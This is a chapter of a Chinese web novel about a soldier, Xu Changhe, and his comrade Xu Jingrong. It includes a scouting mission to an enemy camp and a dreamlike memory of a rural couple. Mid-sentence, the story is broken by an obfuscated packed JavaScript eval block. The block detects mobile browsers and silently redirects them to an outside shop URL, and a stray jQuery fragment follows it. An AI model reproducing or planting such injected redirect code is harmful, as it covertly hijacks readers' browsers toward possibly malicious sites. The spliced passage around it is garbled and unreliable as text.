那天下午许昌和蹲在水龙头底下洗一件迷彩上衣，肥皂是黄黄的土肥皂，搓出来的泡沫少，但去污厉害。
生日那天的事好像还是昨天，可一算，已经过去小半个月了。
他把领口和袖口搓了两遍，清水冲干净拧了一把，抖开来要晾的时候听见身后有脚步声。
他不用回头也知道是谁，这院里只有一个人走路是这个节奏。
许景荣走过来站他旁边，也蹲下来了，从兜里摸出一根烟叼上划了根火柴，点上之后吸了一口，烟雾被风吹散了。
他把火柴梗丢在地上用鞋底碾了一下，侧头看着许昌和晾衣服的手：“你这手洗得比洗衣服的都干净。”
许昌和把衣服抻平搭在绳上：“我媳妇教的。”
“你媳妇教的东西多了去了，上次还说教你怎么哄孩子，你学了没？”
“学了。”
“学会了你给我演示一下。”
许昌和晾完衣服转过身来蹲着，跟许景荣面对面：“没孩子我怎么演示。”
许景荣吐了一口烟笑了一下，他抽烟的时候总是先笑再吐烟，嘴角先往上翘一下然后烟雾从鼻子里散出来：“你媳妇快生了吧？下个月？”
“快了，是吧。”
“那你得跟连里说说，到时候给你批几天假回去。”许景荣把烟夹在指间，目光往远处飘了一下，又收回来，“孩子生出来我得当干爹，这事儿说好了。”
“说好了，肯定不会忘了你们，你们都赶着给我孩子当爹。”
许景荣又吸了一口烟，烟雾里他的脸年轻而硬朗，下巴上那颗痣在烟雾后面若隐若现，他吐完这口烟，正色道：“不过你回去之前，有趟任务得先出了，连长刚跟我说，这两天可能要往对面那边走一趟，摸一下他们的新据点。”
许昌和还蹲在那洗衣服：“什么时候？”
“没说，不过就这两天，你得跟我去。”
许昌和点了点头。
许景荣把烟掐了站起来，拍了两下裤腿上的灰：“你这几天把枪再擦一遍，鞋也看看底子，别关键时刻掉链子。”
说完他就转身走了。
许昌和还蹲在晾衣绳下面，风把刚晾上去的那件迷彩上衣吹得鼓起来又落下。
他看着许景荣走回屋去的背影，肩宽背直，两条腿走路的时候有一点微微的外八字，跟几十年后老榆树底下那个端着茶杯的老人走路的姿势一模一样。
许昌和站起来也回了屋，从床头把枪拿过来，蹲在床边重新开始擦，他手指把枪身拆开、上油、组装，一气呵成，这双手比他的脑子先知道该怎么弄，他索性不看了，让手自己去动。
窗外有鸟叫，叽叽喳喳的，院子里不知道谁在劈柴，斧头落下去咔嚓一声。
擦完枪许昌和靠在床头上闭了一会儿眼。
那间土坯房的画面又浮上来了，这回看见的是白天的光景。
门敞着，阳光从门口铺进来在地上铺了一整块亮亮的。
荷花坐在门槛上择菜，一把绿油油的菜叶子搁在膝头的竹筐里，她一根一根地择，择干净了扔进旁边的盆里。
老许蹲在她旁边，手里拿了一根草茎在编东西，编了两下没编好拆了重新编。
荷花择着菜眼睛瞟了一眼他手里的草茎：“明哥，你在编什么？”
“编个蚂蚱。”
“编蚂蚱干什么？”
“给孩儿玩。”
荷花继续择手里的菜，低头的时候嘴角翘着：“孩子还在肚子里呢。”
“出来就能玩。”老许把那根草茎又编了几圈，终于编出个形状，一只歪歪扭扭的蚂蚱，脑袋大身子小，腿的长度也不对。
他把那东西举起来对着光看了看，自己先笑了。
荷花侧头看了一眼也笑了：“你这编的什么呀，四不像。”
“像不像不重要，孩子喜欢就行。”
“你怎么知道孩子喜欢？”
老许把那草蚂蚱放在掌心里端详了一会儿：“我孩肯定喜欢。”
荷花把择好的菜端起来进屋去了，走到门口回头说了句：“进来吃饭吧，别蹲那儿傻笑了。”
老许拿着那只草蚂蚱站起来跟着进了屋。
画面在这里慢慢暗下去，像油灯被捻小了，光亮越来越窄越来越窄，最后缩成一个点灭了。
许昌和睁开眼。
屋里的光线已经偏斜了，下午的太阳从西边的窗子打进来，在地上投了一道斜斜的光带。
许昌和坐直了，把沾了黑乎乎的枪油的布叠了叠放回枪盒里，站起来走到门口。
院子里几个正在打牌，蹲在墙根底下用粉笔在地上画了格子，三三两两凑一堆吆喝着。
瘦高个蹲在最边上冲许昌和喊：“老许来一把！”
许昌和说：“不会。”
“少来，你以前打得比我好。”
许昌和想了想还是走过去蹲下了。
粉笔画的牌局规则他没看懂，但手自动接了牌，几轮下来还赢了一局。
瘦高个大呼小叫说：“你耍赖！”
许昌和把牌放下，笑了一下：“我不玩了，免得你又说我耍赖。”
傍晚吃饭的时候他去得晚，他们都吃得差不多了，只有许景荣还蹲在那慢慢喝粥，旁边还搁着一碟咸菜。
看见许昌和进来抬了一下下巴示意他过来一起吃。
许昌和去盛了粥蹲到他旁边，两个人中间隔着那盘咸菜，谁也没说话。
夕阳光黄黄的，照得人脸都带一层暖色。
许景荣把最后一口粥喝完了碗搁下，看许昌和还在吃，就没走。
等许昌和也放下碗了。
许景荣才开口：“明天早上五点起来，你带点干粮，别吃太多。”
“去多久？”
“说不准，快的话当天回，慢的话要住一夜。”许景荣站起来把两只碗摞在一起端到门口的水盆里，“你回去睡觉吧，好好休息。”
许昌和也跟着站起来，走到门口的时候许景荣在洗那两只碗，背对着他。
夕阳的黄光淡了，但也照在许景荣背上，勾出一道轮廓线。
许昌和看了两眼，转身回自己屋了。
那晚他躺下得早，但一直没睡着，翻了几次身之后索性不翻了，睁着眼看着黑乎乎的屋顶。
明天的事他不想去想，但不让他想是不可能的。
他躺在床上回忆起这些天见过的所有人，瘦高个、小张、连长、炊事班那个不爱说话的师傅，还有许景荣。
许景荣年轻时候的样子，他记住了，硬朗的眉眼，利落的下颌线，笑起来先翘嘴角再眯眼睛的次序。
后半夜他迷迷糊糊眯了一会儿，但五点整的时候他就自己醒了。
天还黑着，他摸黑穿好衣服背上枪，推门出去的时候院子里冷飕飕的，露水重得能闻到那股湿味儿。
许景荣已经站在院门口了，背对着他正在整理背包带子，听见脚步转过身来看了他一眼：“走。”
两个人出了院门上了土路，天还黑着，路看不太清，但脚下的路熟悉到不需要眼睛。
许景荣走在前面，步子不快不慢，许昌和跟在他身后两步远的地方。
两个人一前一后沉默地走了很久，等天边开始泛灰的时候到了一片矮树林旁边。
许景荣停下来蹲在一棵灌木后面，掏出一个望远镜往远处看了看。
许昌和蹲在他旁边，从灌木缝隙里望出去。
远处是一片开阔的谷地，晨雾还没散干净，灰白色的雾薄薄地铺在谷底。
雾里隐约能看见一些人工的痕迹，像是搭了什么东西又拆了，地上留着几根竖着的桩子。
许景荣看了一会儿放下望远镜，低声说：“位置变了，比上次往东挪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932598|213647||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了一百多米。”
许昌和也往那个方向看了看，雾里的桩子模模糊糊的，但老许的眼睛似乎能分辨更多，他眨了两次眼，雾散了一点，露出帐篷顶的轮廓。
许景荣把望远镜递给他：“你看看，数一下帐篷数量。”
许昌和接过来举到眼前。
镜头里的画面清晰了很多，灰白色的雾褪开之后露出五六顶帐篷，颜色跟土地差不多，不仔细看容易被忽略。
他数了一遍又数了一遍：“六顶。”
“还有没有别的？”
许昌和把望远镜平移着扫了一圈。
帐篷侧面停了一辆车轮半陷在土里的卡车，卡车后面堆着几个长条箱子。
他又数了一遍帐篷，还是六顶，但他看见了旁边矮坡下面有一根细细的金属杆竖着，杆顶缠了伪装网。
许昌和放下望远镜，对许景荣说：“六顶帐篷，一辆卡车，几个箱子，坡底下还有根天线。”
许景荣点了点头：“跟我看到的差不多，再往东摸一段，看看他们有没有布哨。”
两个人猫着腰从灌木丛里退出来，沿着矮坡的背侧往东挪了两百多米。
这边的视野更开阔一些，许景荣趴在一块土坎后面用望远镜又看了十分钟，然后收起来拍了许昌和一下：“撤。”
撤回去的路两个人走得更快，太阳已经升起来了，晨雾在一点点散掉，能见度越来越好。
他们走的不再是昨天来时的路，绕了个圈从另一条山沟穿回去，这样脚印不重叠。
许景荣的步子比来的时候快了一截，许昌和紧跟着他。
两个人之间的默契像是刻在骨头里的，许昌和都不用想脚就自动跟上了。
穿过山沟的时候许景荣忽然停了一下，侧耳听了一会儿，然后继续走。
许昌和什么都没听见，但他信任许景荣的耳朵，紧紧跟着一步不落，走出山沟重新上到开阔山坡的时候太阳已经把雾彻底蒸散了，天蓝得透亮。
许景荣在山脊线上最后停了一次，回头望了一眼来路的方向，然后把枪换了个肩膀扛，转身大步走下去。
许昌和跟在他后面，心里那根一直绷着的弦慢慢松下来了。
他看见前面许景荣的后脑勺上沾了一根枯草，草茎翘着，随着他走路的节奏一颠一颠的。
许昌和伸手想帮他摘掉，但没够着，他喊了一声：“许景荣。”
许景荣头也不回：“咋了？”
“你头上沾了根草。”
许景荣停下来，反手往自己后脑勺摸了摸：“都什么时候了，还管这个干嘛？”
他没摸到，就把脖子扭过来朝许昌和歪了歪头：“你帮我摘了。”
许昌和上前一步把那根枯草拈下来，枯草在他指间停了一瞬，风一吹就飘走了。
许景荣转回去继续走：“谢了。”
许昌和把那根草飘走的方向看了一眼，然后跟上去。
两个人走在山坡上，远处的营区已经能看见了，灰扑扑的屋顶在树丛后面露出一个角。
许景荣忽然边走边说：“老许，这次任务完了之后你回去看媳妇，顺便帮我把家里那件皮夹克带过来，天冷了。”
许昌和说：“行。”
“就在我屋那个木头箱子里，你跟我妈说一声她知道。”
“好。”
“还有，”许景荣步子没停，但声音忽然低了一点，“你回去碰上你媳妇生孩子，是男是女，回来告诉我一声。”
许昌和走在他后面，嗓子眼忽然紧了，他沉默了两步路才回答：“你自己回去看不就知道了。”
“也对。”许景荣笑了一下，步子快了两步，“那到时候我跟你一块儿回去看。”
两个人不再说话了。
余下的路安安静静的，只有脚步踩在碎石和干草上的声响，一下一下地，一直响到营区门口。